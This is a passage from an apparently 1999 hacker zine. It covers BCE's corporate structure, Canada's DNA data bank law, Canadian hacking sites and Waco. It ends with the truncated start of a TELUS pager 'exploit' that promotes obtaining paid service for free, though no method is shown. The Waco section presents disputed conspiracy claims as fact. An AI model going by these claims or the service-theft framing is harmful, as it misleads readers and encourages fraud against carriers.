+sense, it could be said that this issue will be 'feverish'. At least, I hope +that it'll turn out that way as at this point, even though you're reading the +Introduction, the issue has yet to be written. ;) + +So, why write about a fever? What's the purpose of that? The point of doing +that is very simple. Although my illness extended beyond just having a fever, +that in itself gave me a new perspective on things, one that I haven't had the +opportunity to explore many times in my life, or just neglected to do so. + +In essence, a fever can change the way you look at things. It can be a mind +altering experience that one might describe as chaos and madness. While a +person is consumed by a fever they can enter a world in which the ordinary +seems extraordinary. They can have visions or hallucinations. They might +even think things that they had never previously thought, while the doors of +perception are opened wide to them. Sure, there's a certain danger involved +while a person is enduring a long lasting fever. But there also lies a great +potential, for imagination and to an extent, wisdom. It's fascinating and +sometimes can be the source of dramatically wild, lucid dreams... if you're +able to just relax and embrace it. Obviously people's experiences differ +however. For some it's almost like a bad trip, while for others it is more +like sweaty roller coaster ride, an adventure filled with crazed thoughts and +emotions. For me, fevers have always been more like the latter. In fact, to +a degree I almost welcome them at times because of the way they can affect me, +and open my mind to possibilities that I otherwise might never consider. They +can be so surreal, almost hypnotic in their power and able to intensify my +creativity that I don't fear them. Nor do I ever wish that my mind and body +wouldn't have to endure them again. Perhaps I'm making too much of fevers and +what they're capable of doing to one's mind, but I do believe that they can be +responsible for some very strange, sometimes amazing things that cannot just be +dismissed and ignored. In all honesty, I think they can do more than what +science can currently explain, even though I have no concrete proof of that. +However, in some cultures fevers are induced so that shaman can see visions and +experience unworldly things in dreams, etc. So, maybe there is a basis for some +of my claims. Regardless of that, even if there aren't any hard facts to +support my statements, it is what I believe. And that's what matters. Madness +can be genius. Chaos can be desirable. Think about it. + + +ADVISORIES - {ADVISORIES} +The structure of BCE explained. + +In this article, we'll take you inside BCE in order to explain how it is +structured, show which companies it owns in part or in whole and chart its +relatives (divisions, subsidiaries, partners, alliances, etc.) Basically, the +reason we selected BCE as a topic is to expose them for what they are. The +purpose of doing that is to finally eradicate the commonly held belief amongst +Canadian telephone customers that each telco is owned and operated independently +in each individual province of Canada. That's a myth that definitely needs to +be shattered. The truth needs to be told. And it can be, through education by +means of the facts. Thankfully, BCE has provided us with a vast amount of +information, which of course will be used against them to prove our point, by +clearly demonstrating the size of their monopoly. Again, much of the material +discussed in this article is easily obtained, direct from the source. The rest +has been gathered from various telco web sites, reports, news clippings and +other forms of research. Also, a graph in the form of a GIF (garnered from +BCE's web site) has been provided for you to view for clarification and as +further proof of their ownership. It clearly demonstrates how the massive +Canadian corporation known as BCE is structured. Personally, I feel that many +of the telcos across the country under BCE's ownership are trying to pretend to +be small, independent telephone companies. In essence, they're in hiding by +attempting to keep everything (including mere affiliations) quiet. They're +trying to fool everyone. That's something that we simply can't allow to happen. +So, we've outlined the true nature of their relations and used their own clumsy +words against them as the very proof. Enjoy. ;) + + +BCE: About BCE: Welcome to BCE: Overview + +Welcome to BCE, Canada's global telecommunications company. We're a company of +58,000 employees, revenues of $27.5 billion and assets of more than $32 billion. + +We are one of the world's leading communications organizations. Our vision sees +us as "people reaching out to bring the world together through communications +with leadership, innovation, teamwork and excellence." + +We have core investments in + + telephone networks, both wired and wireless + Internet Protocol (IP)-based networks and solutions + electronic commerce + systems integration + directories + satellite networks + +We are also a major player in + + high-speed internet access + web hosting + direct-to-home entertainment + +In 1998, BCE had (baseline) earnings of $1.6 billion. In the first quarter of +1999, BCE had (baseline) earnings of $367 million, a 14% increase compared to +the same period in 1998. For further financial information, please go to the +Investors section of the site. + +Last updated on July 26, 1999 + +"BCE's telecommunications interests are among the most comprehensive of any +company in the world, spanning the key segments of the communications sector: +Canadian communication services, system integration and e-commerce, media, +technology and solutions, and international communications services. We are +Canada's global communications company." + + +(% ownership as at March 31, 1999) + + Bell Canada Group + Bell (100%) + Bell Actimedia (100%) + Bell Mobility (65.3%) + Bruncor (44.8%) + Manitoba Telecom (20%)* + Maritime T&T (34.3%) + NewTel Enterprises (54.7%) + Northern Telephone (99.9%) + Northwestel (100%) + Telabec (100%) + Teleglobe (21.6%) + + CGI & BCE Emergis + BCE Emergis (62.4%)* + CGI Group Inc. (44.6%) + + BCE Media + Bell ExpressVu (100%) + Telesat Canada (100%) + TMI Communications (100%) + + Nortel Networks (40.4%) + + Bell Canada International (73.7%) + + Jones Intercable (30.3%) - sold in April for US $508M + + +BCE family of companies. + +BCE is Canada's global telecommunications company with 122,000 employees +worldwide, revenues of $33 billion and assets exceeding $40 billion. + +BCE is one of the most diversified of the world's leading telecom companies, +with interests in the services business, in equipment, in technology, in +directories, in networks wired and wireless and in satellites. + +BCE represents the people, technology and solutions that enable communications +for millions of customers, at home and abroad. + +Bell Nexxia is the new member of the 'BCE_Companies' + + +BCE: About BCE: Company Profiles: Bell Canada + +Ringing changes at Bell Canada + +Bell Canada has travelled a long way in a short time. With the introduction of +long-distance competition followed by the introduction of local competition, +Bell has reinvented itself as a flexible, focused and aggressive competitor. + +As data surpasses voice traffic, Bell Canada is ready, with customer-driven +services such as a national broadband network, e-commerce and distance learning. +Service delivery is equally innovative, pushing the boundaries of what a phone +company is -- or can be. Bell's digital copper infrastructure is complemented +by fibre-optic cables, wireless and satellite services. + +But perhaps Bell's strongest asset is its connection to other BCE companies - +connections that produce innovative stand-alone and bundled services that are +unmatched in Canada. + +On June 1, 1999, a strategic partnership between BCE and Ameritech +Corporation was finalized in which the U.S. company acquired 20% of Bell Canada +for $5.1 billion. + +The primary focus of the partnership is to develop growth opportunities and +introduce new services for customers. Ameritech serves customers in 50 states +and 40 countries and has US $30 billion in assets. + +And on June 21, 1999, Manitoba Telecom Services (MTS) and Bell Canada +officially launched Intrigna - a joint initiative to offer leading edge and +next generation telecommunication services to customers in the high growth +business markets in Alberta and British Columbia. + +The Bell brand, which already enjoys strong recognition and trust, will help +ease the introduction of innovative services, while differentiating Bell from +the competition. + +Service bundling, which adds considerable customer value, also distinguishes +Bell from the rest. For example, SimplyOne provides customers with one number +for wireline and wireless service. And Bell World stores will demonstrate all +of the products and services available through the BCE family of companies in +an integrated, fun, informative fashion under one roof - with more than 200 +locations to be completed by mid 2001. + + +The entire profile above on Bell Canada was ripped from BCE's web site. + +Here's an article that I thought might be of interest to you. It shows just +how much BCE has profited in the second quarter of 1999. + +BCE up sharply: + +"MONTREAL -- BCE Inc. Canada's largest telecom company, reported a +multibillion-dollar profit in the second quarter, primarily from gains on the +sale of a chunk of its Bell Canada unit to a U.S. phone giant. + +The Montreal holding company said it posted net profits of $4.6 billion for +the three months ended June 30, compared with $295 million in the same 1998 +period. + +The earnings included gains from the $5.1 billion sale of 20 per cent of Bell +Canada to Chicago-based Ameritech as well as special charges related to +acquisition costs at its Nortel Networks unit and restructuring charges at +Bell Canada. + +Excluding special gains, BCE still enjoyed sharply higher profits from its +operating units, as the company benefited from revenue and profit growth at +Nortel." CANADIAN PRESS + + +In conclusion, BCE is a very large, fat, Canadian giant. It's been the biggest +fat cat monopoly corporation in this country for quite some time, and as you +can see from the way it is structured, there aren't any plans to downsize. +Their goal is to be involved in as many telco related industries as possible. +And once their involved, and have established (or in some cases, bought) a +subsidiary, the goal changes to monopolizing it so that they can increase +and maximize profits. If they incur losses, they simply "restructure". Also, +BCE not only thinks of the companies they own and have acquired as being mere +"units", but they have been known to apply the same term to their customers. +However, at the same time, they want everyone to think of BCE and all of the +companies that it owns as being part of the "BCE family". They want it both +ways. They're the classic faceless corporation that wants to be big and fat, +but portray a public image of being a family oriented business. It's just +another blatant lie used for brainwashing (err, marketing) purposes. In +reality, they're a greedy company that wants to expand into any areas of +business that they think might be profitable. They want to take over as many +industries as possible. So much for the talk of stopping telcos from delving +into residential cable, satellite and internet services, and even home security. + +BCE is literally everywhere in Canada and has at least partial (but more than +minimal) ownership in virtually every major Canadian telephony related company. +They also own many international telcos through their BCI division. So, it's +not surprising to read BCE boast "This is Bell's world" on their web site +(www.bce.ca). They also have Bell World stores and a Bell virtual World Tour +site, etc. It's blatantly obvious that BCE loves to brag and boast. They +have no humility or shame. In a future article, I'm going to explain BCE's +subsidiaries in detail along with information on the Stentor Alliance. This +was just the first article in a series dedicated to exposing the Canadian +telephone system. + +Written by BLACKENED ú Damage, INC. (C)opyright 1999. + + +BIG BROTHER BASHING - {BIG BROTHER} +Bill C-3 makes the Kanadian DNA Bank a reality. + +Disclaimer: +The sections of Bill C-3 (36th Parliament session) listed below comes from the +Government of Canada web site. If there is any misinformation, they are +responsible for it. Furthermore, if they failed to add or delete clauses due to +revisions to the information I used as a reference, they are at fault. I spent +over two hours searching their poorly organized site to make sure I have the +most current information on Bill C-3. As is always the case, "ignorance of the +law" is their greatest weapon. + +It has finally happened. Without warning from the biased mass media, on +December 10, 1999, Bill C-3 received Royal Assent and was passed into law. Bill +C-3 is titled "An Act respecting DNA identification and to make consequential +amendments to the Criminal Code and other Acts." In stronger words, Bill C-3 +creates a Canadian DNA Bank, and provides legal powers to the Thought Police and +their medical associates to force "certain violent convicted persons" to have a +DNA sample extracted from them. Another alarming point is that the DNA Bank +will be maintained by the Commissioner of the RCMP (Repressive Canadian Militant +Pigs). Bill C-3 has amended the Canadian Criminal Code to make it legal to +force the extraction of bodily substances from a convict without their consent. +Bill C-3 is officially known as the "DNA Identification Act" since it has +been passed into law. However, I'll refer to the Act as Bill C-3 in this +article. + +The National DNA Bank is divided up into two indexes; the Crime scene index, and +the Convicted offenders index. The Bank shall also contain information such as +the case number of the investigation associated with the DNA sample from which +the profile was created, and in the case of a DNA profile in the Convicted +offenders index, the identity of the person that the DNA sample belongs to. +Below is what information will be in a Crime scene index: + + Crime scene index (3) The crime scene index shall contain DNA profiles + derived from bodily substances that are found + (a) at any place where a designated offence was + committed; + (b) on or within the body of the victim of a designated + offence; + (c) on anything worn or carried by the victim at the + time when a designated offence was committed; or + (d) on or within the body of any person or thing or at + any place associated with the commission of a + designated offence. + +Like most Canadian laws that infringe on privacy in order to protect "society," +they are all written in this politically correct manner. The DNA Bank will +allow the RCMP to bank all DNA profiles that are at the crime scene. Many +people may not find anything wrong with this, but I find it disturbing. What +kind of privacy protection is the victim offered? Obviously, the unfortunate +victim was at the crime scene, so isn't it logical that the cops will take a +sample from the victim so that they can disqualify his or her DNA samples that +are scattered at the crime scene? If Big Bro's eventual motive is to bank the +DNA of every citizen in the country, would they just throw away a victim's DNA +profile? If the victim's DNA is corruptly abused, the victim is victimized +again. In fact the RCMP will keep the Crime scene index indefinitely. Instead +of destroying the DNA profiles, "access" to the DNA profile of a victim or +cleared suspect (definitely a victim in their own right) are revoked, as stated +in section 8.1 titled "Crime scene index." + +Below is the brief yet official description of what the Convicted offenders +index will contain: + + Convicted offenders index (4) The convicted offenders index shall contain DNA + profiles derived from bodily substances described + in subsection 487.071(1) of the Criminal Code. + +The DNA bank will work as follows: When the RCMP Commissioner receives a DNA +profile, it will be checked against the DNA data bank in order to determine +whether it is already contained in the data bank. Then the Commissioner "may +then communicate, for the purposes of the investigation or prosecution of a +criminal offence, the following information to any Canadian law enforcement +agency or laboratory that the Commissioner considers appropriate:" + +(a) whether the DNA profile is already contained in the data bank; and + +(b) any information, other than the DNA profile itself, that is contained +in the data bank in relation to that DNA profile. + +Another interesting section of Bill C-3 reveals that "authorized users" will +have access to the "automated criminal convictions records retrieval system" +that is maintained and updated by the RCMP. This confirms that the DNA data +bank will be fully computerized as well. I wonder if the RCMP is concerned that +"unauthorized users" will also gain access to the information within the DNA +data base? Their systems have been hacked in the past. + +You may be wondering how many people may request and expect to receive DNA data +from the Commissioner of the RCMP. Well, basically all the pigs in the world +according to section 6(3). The RCMP will take DNA profiles from the foreign +cops, and compare it to all of the DNA profiles in the Canadian DNA Bank. + +Even if a criminal is allowed to, and does leave Canada in order to get a fresh +start for their life, their DNA could easily follow them. Once Big Brother has +a DNA profile, it can and will be shared worldwide. Below is a section that +deals with how domestic pigs and other people can gain access to the information +in the DNA data bank: + + Access to information 7. Access to information contained in the DNA data bank + may be granted to + (a) any person or class of persons that the + Commissioner considers appropriate for the purposes of + the proper operation and maintenance of the DNA data + bank; and + (b) the personnel of any laboratories that the + Commissioner considers appropriate for training + purposes. + +As you can see, this proves that one person (the RCMP Commissioner) has total +authority over the DNA bank. He has total and complete reign over who gains +access to the DNA samples and profiles contained within the Bank. + +As always, regardless of the country, Big Brother has one little section that +deals with "violations of individual privacy" in order to give any mainstream +critics a false sense of security. Here is the clause that is "supposed to" +protect the DNA data bank from unauthorized use: + + Unauthorized use (6) No person who receives a DNA profile for entry in the DNA + data bank shall use it or allow it to be used other than for + the purposes of the administration of this Act. + +Pretty fucking vague as always. Even if a miracle happened, and a corrupt cop +was caught and prosecuted for violating the above section 6(6), the punishment +is weak considering the total destruction of the privacy of the individual. +Here are the "punishments" that a hacker or private citizen would face should +that person get caught: + + Offence 11. Every person who contravenes subsection 6(6) or (7), section 8 or + subsection 10(3) or (5) + (a) is guilty of an indictable offence and liable to imprisonment + for a term not exceeding two years; or + (b) is guilty of an offence punishable on summary conviction and + liable to a fine not exceeding $2,000 or to imprisonment for a term + not exceeding six months, or to both. + +A police officer could technically fall under this section should they get +prosecuted. According to what I have seen over the years, however, a month +suspension with pay as the IA office in the RCMP clears them would be all the +punishment they would receive in my opinion. + +Another portion of Bill C-3 that is supposed to make people feel better about +DNA collection are sections that deal with the "access of information to be +permanent removed" to the destruction of the DNA samples, in some circumstances. +Big Brother is very careful not to reveal one very important fact; even if, by +a miracle, the RCMP did remove easy access to information after a pardon or +other event, or if the tissue/blood samples were destroyed, the RCMP will keep +the DNA profile. It will be kept on record permanently, despite the sections +that deal with sample destruction, etc. Just like in Canada, Young Offender +records are to be deleted from a person's criminal record after they become an +adult. However, that wasn't the case for someone I've met. Her current +"record" contained her record as a youth, even though she is an adult now. What +I am driving at is that the police, at any level, cannot be trusted to remove +access to information like a DNA profile. They are always suspicious, and will +never remove/dispose of information that they can use to their advantage, even +if it is illegally kept or obtained. + +Fortunately, the RCMP can't rape a convicted person of his or her DNA for all +offenses (yet). Below is a list of primary offenses which require a mandatory +extraction of tissue from a convict: + +(a) an offence under any of the following provisions, namely, + (i) section 151 (sexual interference) + (ii) section 152 (invitation to sexual touching) + (iii) section 153 (sexual exploitation) (iv) section 155 (incest), + (v) subsection 212(4) (offence in relation to juvenile prostitution) + (vi) section 233 (infanticide) (vii) section 235 (murder) + (viii) section 236 (manslaughter) + (ix) section 244 (causing bodily harm with intent), + (x) section 267 (assault with a weapon or causing bodily harm) + (xi) section 268 (aggravated assault) + (xii) section 269 (unlawfully causing bodily harm) + (xiii) section 271 (sexual assault), + (xiv) section 272 (sexual assault with a weapon, threats to a third party or + causing bodily harm) + (xv) section 273 (aggravated sexual assault), and (xvi) section 279 + (kidnapping), +(b) an offence under any of the following provisions of the Criminal Code, +chapter C-34 of the Revised Statutes of Canada, 1970, as they read from time to +time before January 4, 1983, namely, + (i) section 144 (rape), + (ii) section 146 (sexual intercourse with female under fourteen and between + fourteen and sixteen), and + (iii) section 148 (sexual intercourse with feeble-minded, etc.), +(c) an offence under paragraph 153(1)(a) (sexual intercourse with step-daughter, +etc.) of the Criminal Code, chapter C-34 of the Revised Statutes of Canada, +1970, as it read from time to time before January 1, 1988, and +(d) an attempt to commit or, other than for the purposes of subsection +487.05(1), a conspiracy to commit an offence referred to in any of paragraphs +(a) to (c); + +That's not all. There is a list of "secondary offenses." If a person is found +guilty of one of the following offenses, tissue extraction is up to the +discretion of "the court": + +(a) an offence under any of the following provisions, namely, + (i) section 75 (piratical acts) (real piracy... not the warez d00d variety) + (ii) section 76 (hijacking), + (iii) section 77 (endangering safety of aircraft or airport) + (iv) section 78.1 (seizing control of ship or fixed platform) + (v) paragraph 81(1)(a) or (b) (using explosives), + (vi) subsection 160(3) (bestiality in the presence of or by child) + (vii) section 163.1 (child pornography) + (viii) section 170 (parent or guardian procuring sexual activity) + (ix) section 173 (indecent acts) + (x) section 220 (causing death by criminal negligence) + (xi) section 221 (causing bodily harm by criminal negligence) + (xii) subsection 249(3) (dangerous operation causing bodily harm) + (xiii) subsection 249(4) (dangerous operation causing death) + (xiv) section 252 (failure to stop at scene of accident) + (xv) subsection 255(2) (impaired driving causing bodily harm) + (xvi) subsection 255(3) (impaired driving causing death) + (xvii) section 266 (assault) (xviii) section 269.1 (torture) + (xix) paragraph 270(1)(a) (assaulting a peace officer) + (xx) section 279.1 (hostage taking) (xxi) section 344 (robbery) + (xxii) subsection 348(1) (breaking and entering with intent, committing offence + or breaking out) + (xxiii) subsection 430(2) (mischief that causes actual danger to life) + (xxiv) section 433 (arson - disregard for human life), and + (xxv) section 434.1 (arson - own property) +(b) an offence under any of the following provisions of the Criminal Code, as +they read from time to time before July 1, 1990, namely, + (i) section 433 (arson), and (ii) section 434 (setting fire to other substance), and +(c) an attempt to commit or, other than for the purposes of subsection 487.05(1) +a conspiracy to commit an offence referred to in paragraph (a) or (b); + +Not the entire Criminal Code, but a nice chunk of it nonetheless. If you've +read my articles on Bill C-17 in previous issues of the Damage, INC. Newsletter, +Section (c) of both the primary and secondary offenses shouldn't be a surprise. +In Canada, thought crime or "conspiracy to" as they call it gets you the same +penalty as if you actually committed the crime. "Conspiracy" is enough to allow +the cops to forcibly steal tissue from anyone. + +Also, if a person has committed a crime before the passing of Bill C-3 there +are provisions so that a sample of their DNA can be taken as well. Under 487.052 +(1) of the newly amended Criminal Code, it is legal for the court, under an +application from the prosecutor, to apply for a special order (called Form 5.04) +so that "any number" of samples can be taken from a convict or young offender in +order to create a DNA profile. What criteria will be used to decide if DNA +profiles are desired from a particular convict? I'll list the criteria below: + + Criteria (2) In deciding whether to make the order, the court shall consider + the criminal record of the person or young person, the nature of the + offence and the circumstances surrounding its commission and the + impact such an order would have on the person's or young person's + privacy and security of the person and shall give reasons for its + decision. + +Impact on a person's privacy? Any and all extractions have a dramatic impact on +an individual's privacy. That kind of Big Brother duckspeak means nothing. The +privacy of a convict is of no consideration to them in my opinion. That is the +whole basis of acts like Bill C-3. In Canada and other countries, the +protection of "society" is the weapon used to destroy individual privacy. +Especially if the DNA data bank is maintained and controlled by organizations +like the RCMP, which are only concerned about busting people... not privacy. + +That is why we have brought Kanada's new DNA Identification Act to your +attention. Creating DNA profiles on victims, suspects, and convicted persons is +only the beginning in my opinion. That is why I am so outspoken against this +Act and the National DNA Bank. Big Brother works slowly, eroding our rights and +destroying our privacy. In my opinion, this is only the beginning. Now that +the DNA data bank is established, there is nothing stoping Big Brother from +expanding it to include newborn babies (taking samples from the umbilical cords +and sending them to a national laboratory for analysis) and so on. Any invasion +of privacy is too much. It is too high of a price to pay just so the zombies in +"society" can obtain a false sense of security, while Big Brother gains more +of our personal information. + +Written by Shatazar ú Damage, INC. (C)opyright 1999. + + +BREAKER'S REVIEWS - {REVIEWS} +Canadian H/P Sites. + +Since I wasn't able to contact Breaker before the release of this issue, I +decided to review some Canadian web sites. Even though the h/p scene in Canada +isn't as large or known as much as in other countries, there are still some +quality sites, groups and zines. So, read the reviews and then check out the +sites. And if you have ideas for future reviews, contact us. + + +Hack Canada +www.hackcanada.com + +Hack Canada is one of the most well known Canadian h/p sites. It has a lot +of resources and a generous archive section that offers an excellent assortment +of texts, etc. The site is operated by CYB0RG/ASM and the rest of the Hack +Canada crew. They're a knowledgable group of Albertans that support the +Canadian scene by releasing relevant, useful information pertaining to many +technological aspects of the telco, systems and devices. In addition to h/p +texts and news, they have info on 2600 meetings for their area, 780/403 scene +news, Canadian h/p info and links, etc. Plus, Hack Canada is updated frequently +with new files and news. So make sure you check it often. + +They also seem to be a friendly, approachable, cool bunch of people from my +experience. So don't be afraid to contact them. ;) One of HC's members named +The Clone, submitted a couple of TELUS articles (see the H/P INFORMATION +section) he wrote for this issue. Anyway, the only other thing I can say is +that they're a quality group that's well respected in the scene... and their +site is damn cool. + + +Maniak.net +www.maniak.net + +Located in Quebec, Maniak.net is another cool site. The big anarchy symbol +that's displayed on their index.html page upon connecting sets the tone for +what lies ahead. The site has information for newbies, Quebec scene info, +news, numbers, a French zine named iGA, WWW board, links, etc. Most of the +site is in French, which is the default. But there is limited English support +as well. However, since I'm not fluent in French it's difficult for me to +review their site. From what I can tell though, they're doing a good job of +supporting the Quebec h/p scene. + + +Nettwerked +http://nettwerk.hypermart.net + +Nettwerked is run by The Clone. It's more than just your average h/p site. +Besides just looking damn cool, Nettwerked is the home of a zine named K-1ine. +Even though it's still a new zine (2 issues have been released thus far), the +potential to achieve greatness is very evident. Meaning, it's a quality zine. +Just as, after reading the first two issues of K-1ine it is apparent that +The Clone knows/owns TELUS. ;) + +He's also an avid scanner, (manual/hand scanner) and you can find some of +his scans in issues of K-1ine. And on Nettwerked, you can find links to +sites that carry other Canadian zines... as well as other things such as +DefCon pics (http://nettwerk.hypermart.net/defconpics). It's a great site +with a zine that you should definitely check out. Visit it often as The Clone +updates it often. + + +Ontario Phreaking Home +www.ncf.carleton.ca/~ba992/HomePage.phone.html + +This site contains pictures of various Bell cans (junction boxes, etc.) +that are used in the Ottawa, Ontario region. It also has a small assortment of +texts on phreaking and information on Ottawa's 2600 meetings. The Ontario +Phreaky Home site doesn't seem to be updated regularly anymore. I don't want +to disrespect them, but the name of the site is a little misleading since it +isn't actually the home of phreaking in Ontario. Regardless of that, it does +offer some good info for neophyte phreaks and the pictures are good. + + +Phones of Zen +http://poz.8m.com + +This site is the home of Lord Narayana's group, Phones of Zen. It's also the +home of Blackzine (see the CROSSED WIRES advertisement). The site has h/p +texts online, a unique personals section that lists hackers and phreaks from +various NPAs... along with their contact info, etc. It also has information +on the 2600 meetings in Calgary, projects, links, etc. + +Lord Narayana is also into scanning and many aspects of phreaking. Basically, +he's a diehard Canadian phreak and his site reflects that. And he's a cool +person too. ;) + + +PLA Alberta +www.linuxchick.com/jester + +Most likely you've run across a few PLA affiliate web sites before. But not +all PLA affiliate sites are alike. Some are small and lacking. While others +offer more local phreaking information, and are dedicated to supporting the h/p +scene in their NPA/State/Province. Jester's site, PLA Alberta, falls into the +latter category. Jester is also the editor of a zine named ALP. His site is +fairly large, has a mailing list, message board, etc. Overall, PLA Alberta +offers good information and has a nice layout. So check it out and tell Jester +I sent you... ;) + + +PLA Quebec +www.multimania.com/hak2600 + +The h/p scene is still alive and well in Quebec. And it'll remain that way +as long as sites such as PLA Quebec are around to support it. It's a well +organized site with texts, PLA news, 2600 meetings info, a phone book, info +specifically for newbies, payphone numbers, a message board, links, etc. +PLA Quebec is a large site with many pages of information for Quebec phreaks. +They're doing an admirable job of supporting the phreaking scene in Quebec's +NPAs. Much better than many of the h/p sites that are left in Ontario. + +Written by BLACKENED ú Damage, INC. (C)opyright 1999. + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +What really happened at Waco in 1993. + +What really happened between February 28 and April 19, 1993 at the Branch +Davidian compound in Waco, Texas? Who is responsible for the deaths of the +80 people that died during the stand-off? Should David Koresh shoulder the +entire blame? Could the situation have possibly been handled differently? +Was there any way that the final outcome could have been less catasrophic and +deadly for so many people? Couldn't this have been prevented somehow? Wasn't +there any way to avoid the disaster? Were the actions of the ATF, FBI and other +law enforcement agencies justified? How did President Clinton and Janet Reno's +involvement affect things? Was there a coverup? Were any of these questions +answered in 1995 during the Waco hearings? + +Those are just some of the many questions that people have regarding the 1993 +incident in Waco, Texas. Many of you probably watched CNN's coverage in shock, +horrified and disgusted by the images you were shown on that fateful day. And +after it was all over, you didn't have any answers because the mass media didn't +have any to give. Some of you continued to follow the story, long after the +media had dropped their coverage of it. A few of you may have even watched the +hearings or read the reports that were issued. Of that, a small percentage of +you don't believe what you've read and been told to believe. You still have +some questions that you'd like answered. You're still seeking the truth. +This article was intended for you to read. The research that I've done is for +your benefit, so that you may know the truth about what really happened at +Waco, why it happened and who is responsible. Admittedly, I still have +questions that haven't been answered. In other words, I don't have all of the +answers. Nor do I have the resources to investigate the situation the way +that I'd like to. However, I've tried to gather as much reliable information +as possible from various sources and research the topic thoroughly. Entire +books have been written on this topic, so don't expect all of the details to be +included in this brief article. There's just too much to cover in one article. + +I don't think there will ever be a complete resolution to the events at Waco and +what occurred inside of the Branch Davidian compound. There are certain things +about the story that we'll probably never learn. There are always things that +are never known by all. But at least with part of the story, the pieces of the +puzzle can begin to be assembled to create a clearer picture. After that, it's +up to you to take it from there and form your own opinions. + +Most people already know that ATF agents raided the Waco compound and a fire +fight ensued. And many of the negotiations were taped and have been released, +so I'm not going to cover any of those early events. I'm going to skip ahead +to the end of the siege and take you through the final day at the Branch +Davidian compound. + +On April 19, 1993 the tanks began punching holes into the exterior walls of +the Branch Davidian compound. Contrary to their claims, they weren't being +fired up on. They weren't under any type of attack. Helicopters and planes +flew over and much of what occurred was caught on tape, forever documented. +And so that's where the real Waco story begins. It was a windy day with +gusting winds that could easily spread a fire throughout a building (in this +case, a highly flammable wooden structure). But the FBI went ahead anyway +and continued poking holes into various locations of the compound. Then they +began inserting CS gas in large doses. CS gas is supposed to be a non-lethal +weapon, but when combined with fire a deadly offspring known as cyanide is +produced. Also, CS gas has been tested on US Marines, but they are only +subjected to small doses of the gas over a very short duration of a few seconds. +The Branch Davidians were exposed to massive doses over a 6 hour time span. +Plus, there were 22 childen in the compound, as well as older adults. CS gas +(at levels as high as 10 times that which Marines are exposed) is much too +strong an agent to use against children and elderly people. + +David Koresh and the Branch Davidians were accused of starting the fires. Yet +there is no solid proof that they were responsible. All they have are theories, +such as lanterns being knocked over and lighter fluid being used to start +fires throughout the compound. + +After the compound had burned to the ground the fire was out, Texas Rangers +were delayed and prevented from conducting an investigation for hours while +other agencies went through any remaining evidence and "cleaned up the crime +scene." + +In my opinion, the whole situation should've been handled differently. Janet +Reno and President Clinton should have been held responsible for the actions +of the ATF and FBI. And a real investigation should have been performed instead +of allowing the events to be covered up and forgotten. + +I've watched several documentary tapes from the final day at the Waco compound. +In those tapes, it clearly shows FBI agents firing into the compound from +behind the tanks. In some cases, they were firing at Branch Davidians that +were attempting to escape. The flashes of light (captured on an infrared +camera from a helicopter overhead) indicating a weapon being discharged are +plainly visible on the tapes that I've seen. It even shows one person being +crushed underneath the tank's track. One of their limbs was ripped away +from their body and temporarily became caught in the track, which made the +operator of the tank move the vehicle back and forth in an attempt to free +it. But somehow the track was dislodged, adding further proof of what had +happened. Even as the fire was burning at full force and the building was +engulfed in flames, shots were being fired into the compound by FBI agents. +I'm sure that many of the bodies that were found with bullet wounds contained +rounds from the FBI's weapons. They've never proven that they were all self- +inflicted wounds. Nor have they proven that there was any "mass suicide". + +Lastly, I've included a copy of Attorney General Janet Reno's statement and +a document from The Department of the Treasury which details the weapons +possessed by the Branch Davidians. Both were written and released in 1995. +I think you'll find them interesting. + +During my research of the Waco seige, I read the U.S. Government reports, +watched several television documentaries, visited web sites and generally read +as much material on the topic as I could get my hands on. Short of speaking +with David Koresh through a clairvoyant, I did everything in my power to learn +what really happened and uncover the truth. In my humble opinion, Waco +represents a government conspiracy and coverup of immense proportions. Clinton, +Janet Reno, the ATF, FBI, etc. all fucked up. Then they tried to back each +other up and cover up the true events that had occurred and were documented. So, +in conclusion, it's your choice as to who should be believed. But hopefully +after reading this article, you'll think twice about automatically taking the +government at their word. If nothing else, it is my hope that people learn +that under no circumstances, in any situation should they have complete trust +in a government that's already proven itself to be untrustworthy and absolutely +corrupt to the core. And in my view, the U.S. government couldn't do anymore +to prove their guilt than they've already done. I suggest that you visit the +web sites below if you want further information on the Waco coverup. + + +Sources: + +http://www.pbs.org/wgbh/pages/frontline/waco/ +http://rampages.onramp.net/~djreavis/faq/index.htm +http://www.parascope.com (Search for "Waco") - Not all info there is accurate. + +Written by Blackie Lawless ú Damage, INC. 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They may not have a lot of writers, +support or a tremendous amount of notoriety, but it's still quality. The most +recent issues are excellent and definitely deserve a look, especially if you're +in the Canadian scene. It's very evident that they're actively involved in the +Alberta scene. Issues are available on the Phones of Zen web site at the above +URL. If you want more information about Blackzine, and how to contribute, +contact Lord Narayana. + + +Notes about Crossed Wires: + +Since this section was created I've received Email from quite a few people +regarding advertising here, the requirements, cost, etc. To reiterate what +I've said in previous issues, it's free. The whole "paid advertisement for" +thing was just a joke, but apparently some people thought that it was real. +Basically, we'll include ascii ads for almost anything (boards, cons, nets, +groups, zines) for free as long as it's h/p related or is interesting in some +way. Hopefully the guidelines and purpose of Crossed Wires are now clear to +everyone. + + +H/P INFORMATION AND NEWS - {H/P} + + + "What is the Matrix?" + + + + + _+ +_ + TELUS Mobility; Panasonic EN-POWR numeric pager exploit + __ __ + + + Telus Mobility offers to its customers, a few types of paging services. +One type is called 'EN-POWR numeric pager'. +With the EN-POWR numeric pager, you get total FLEX coverage. +In other words, you get coverage all across Alberta. + +The Panasonic EN-POWR pre-paid numeric pager is only $99.95, and it comes +with 6 months of enhanced service with a limited but nifty selection +of assorted colors to choose from. + +"But Clone, I have three kids to feed. +I can't afford this type of service!" + +It's completely understandable. That is why I wrote this file. +To show you how to get service that *should* be dirt cheap for +absolutely free. + +Lets say that one day you were walking down the street minding your +own business, picking flowers, waving to Telus employees as they drive +past in their goodie-vans, when you trip over a pager that has the +word 'Panasonic' labelled on the top. + +This semi-transparent device, with its groovy design is the only thing +stopping you from suing Telus for leaving its property laying around. +Then you remember that it's an EN-POWR pre-paid numeric pager and it +has to be property of someone. + +"Hmm..." you think. At this point you can do one of two things; +you can call Telus reporting a missing pager, or you can try to +use your wits to find a way to exploit this. + +First lets take a look at the pager features: + +Pager features +-------------- +· saves 23 messages +· message time stamp +· built in alarm clock +· silent vibration or audible alert +· low battery alert +· shows date and time of day +· selective erase/erase all +· locks important messages +· uses only one AAA battery +· FLEX technology gives you up to + four months battery life +· duplicate message indicator +· reminder alert +· backlit display +· automatic on/off + + +'Saves 23 messages', thought of anything yet? ;) +Sure you have my analytical friend. Along with numeric paging option, +you also get a voice-mail paging option which requires you to dial the +number the pager is subscribed to. + +So you think "How am I going to get this pager 